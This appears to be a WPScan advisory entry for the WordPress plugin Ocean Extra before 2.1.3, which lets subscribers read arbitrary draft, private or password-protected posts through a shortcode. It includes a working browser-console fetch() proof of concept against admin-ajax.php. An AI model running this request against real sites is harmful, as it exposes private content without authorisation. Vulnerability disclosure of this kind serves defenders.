Lucene search

K
wpvulndbWpvulndbWPVDB-ID:9CAA8D2E-383B-47D7-8D21-D2ED6B1664CB
HistoryFeb 14, 2023 - 12:00 a.m.

Ocean Extra < 2.1.3 - Subscriber+ Arbitrary Post Content Disclosure

2023-02-1400:00:00
wpscan.com
5
ocean extra
subscriber
arbitrary
post content
disclosure
plugin
authenticated
retrive
posts
draft
private
password protected
theme
developer
console
web browser

EPSS

0.001

Percentile

30.4%

The plugin does not ensure that the template to be loaded via a shortcode is actually a template, allowing any authenticated users such as subscriber to retrieve the content of arbitrary posts, such as draft, private or even password protected ones.

PoC

Note: This requires the OceanWP theme to be installed and active Run the below command in the developer console of the web browser while being on the blog as a subscriber fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: “action=parse-media-shortcode&shortcode;=[oceanwp_library id=‘14’]”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data)); This will display the content of the post with ID 14

EPSS

0.001

Percentile

30.4%

Related for WPVDB-ID:9CAA8D2E-383B-47D7-8D21-D2ED6B1664CB